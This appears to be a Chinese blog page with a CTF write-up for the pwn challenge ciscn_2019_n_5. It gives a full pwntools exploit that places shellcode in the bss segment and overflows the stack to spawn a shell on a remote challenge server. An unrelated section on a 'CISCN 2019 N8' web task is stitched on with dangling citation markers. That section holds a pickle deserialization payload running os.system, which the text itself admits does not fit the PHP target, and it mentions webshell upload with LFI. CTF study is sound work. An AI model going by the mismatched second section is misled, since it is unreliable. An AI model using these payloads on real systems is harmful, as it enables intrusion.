ciscn_2019_n_5

CISCN_2019_N_5漏洞分析
本文介绍CISCN_2019_N_5题目的解决思路,通过关闭所有保护机制并利用bss段可写可执行特性,构造shellcode并利用栈溢出技巧获取shell权限。

ciscn_2019_n_5

使用checksec查看:
在这里插入图片描述
保护都关闭的状态。

放进IDA中分析:
在这里插入图片描述

  • read(0, name, 0x64uLL); :往变量name中写入数据,name在bss段上。地址为:0x601080
  • gets(text, name);:存在栈溢出。

题目思路

  • 保护全关,且bss段可写可执行。
  • 把shellcode写入bss段上。
  • 通过栈溢出跳到shellcode处执行getshell。

步骤解析

无需

完整exp

from pwn import *

#start
r = remote("node4.buuoj.cn",27504)
# r = process("../buu/ciscn_2019_n_5")
context(arch='amd64',os='linux')

#params
flag_addr = 0x601080
shellcode = asm(shellcraft.sh())

#attack
payload = b'M'*(0x20+8) + p64(0x601080)
r.recvline()
r.sendline(shellcode)
r.recvline()
r.recvline()
r.sendline(payload)

r.interactive()
### 关于CISCN 2019 N8题目的解析 在全国大学生信息安全竞赛(CISCN)中,Web方向的题目通常涉及漏洞利用、文件包含、反序列化攻击等内容。对于CISCN 2019中的N8题目,其核心考点可能围绕PHP反序列化漏洞展开。 #### PHP反序列化漏洞分析 在CISCN 2019 Web1题目中提到的内容表明,该赛事的部分题目设计基于PHP对象反序列化的特性[^2]。具体到N8题目,可能存在类似的机制: - **Payload构造**:通过精心构造的对象结构触发特定逻辑路径,实现任意文件读取或其他敏感操作。 - **关键点提示**:根据已有资料,在某些情况下需要调整`Handle`类的相关属性来适配目标环境的要求[^5]。 以下是针对此类问题的一个通用解决思路及其Python脚本示例用于生成payload: ```python import pickle class Exploit(object): def __reduce__(self): import os command = 'cat /flag' # 假设我们需要执行命令获取flag return (os.system, (command,)) def serialize_exploit(): serialized_data = pickle.dumps(Exploit()) with open('exploit_payload', 'wb') as f: f.write(serialized_data) serialize_exploit() ``` 需要注意的是上述代码仅为演示如何创建一个简单的pickle反序列化攻击向量,并不适用于实际比赛场景下的PHP应用;真正的解决方案需依据具体的程序行为模式定制相应的php序列化字符串形式的数据包提交给服务器端处理以达成预期效果。 #### 文件上传与包含技巧 如果N8还涉及到文件上传功能,则可以尝试以下方法绕过检测并植入恶意脚本: - 利用MIME类型校验不足上传图片马; - 结合LFI(Local File Inclusion)缺陷访问已上载至服务器上的特制图像文件完成进一步渗透活动。 综上所述,解答这类综合性较强的CTF赛题不仅考验选手们的技术功底同时也对其创造力提出了较高要求。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值